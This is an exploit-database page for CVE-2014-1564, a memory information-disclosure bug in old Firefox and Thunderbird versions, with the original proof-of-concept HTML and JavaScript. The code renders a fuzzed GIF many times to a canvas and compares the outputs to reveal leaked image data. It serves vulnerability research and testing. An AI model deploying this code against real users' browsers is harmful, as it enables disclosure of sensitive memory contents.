Materialized exploit

CVE-2014-1564

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB remote multiple Verified

Source

Mozilla Firefox 9.0.1 / Thunderbird 3.1.20 - Information Disclosure

By Michal Zalewski

How to test this exploit

Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.

Code js

source: https://www.securityfocus.com/bid/69525/info

Mozilla Firefox and Thunderbird are prone to an information-disclosure vulnerability.

Attackers can exploit this issue to disclose sensitive information that may aid in further attacks.

This issue is fixed in:

Firefox 32
Firefox ESR 31.1
Thunderbird 31.1

<style>
body {
  background-color: #d0d0d0;
}

img {
  border: 1px solid teal;
  margin: 1ex;
}

canvas {
  border: 1px solid crimson;
  margin: 1ex;
}
</style>

<body onload="set_images()">

<div id="status">
</div>

<div id="image_div">
</div>

<canvas height=32 width=32 id=cvs>
</canvas>

<h2>Variants:</h2>

<ul id="output">
</ul>

<script>
var c = document.getElementById('cvs');
var ctx = c.getContext('2d');

var loaded = 0;
var image_obj = [];
var USE_IMAGES = 300;

function check_results() {

  var uniques = [];

  uniques.push(image_obj[0].imgdata);

  document.getElementById('output').innerHTML +=
    '<img src="' + image_obj[0].imgdata + '">';

  for (var i = 1; i < USE_IMAGES; i++) {

    if (image_obj[0].imgdata != image_obj[i].imgdata) {

      for (var j = 1; j < uniques.length; j++)
        if (uniques[j] == image_obj[i].imgdata) break;

      if (j == uniques.length) {

        uniques.push(image_obj[i].imgdata);

        document.getElementById('output').innerHTML +=
          '<img src="' + image_obj[i].imgdata + '">';


      }


    }

  }

  if (uniques.length > 1)
    alert('The image has ' + uniques.length + ' variants when rendered. Looks like you have a problem.');
  else
    alert('The image has just one variant when rendered. You\'re probably OK.');

}


function count_image() {

  loaded++;

  ctx.clearRect(0, 0, 32, 32);

  try {
    ctx.drawImage(this, 0, 0, 32, 32);
  } catch (e) { }

  this.imgdata = c.toDataURL();

  if (loaded == USE_IMAGES) check_results();

}


function set_images() {

  loaded = 0;
  create_images();

  for (var i = 0; i < USE_IMAGES; i++)
    image_obj[i].src = './id:000110,src:000023.gif?' + Math.random();

}


function create_images() {

  for (var i = 0; i < USE_IMAGES; i++) {

    image_obj[i] = new Image();
    image_obj[i].height = 32;
    image_obj[i].width = 32;
    image_obj[i].onerror = count_image;
    image_obj[i].onload = count_image;

    document.getElementById('image_div').appendChild(image_obj[i]);

  }

}


</script>


<iframe src='http://www.example.com/'></iframe>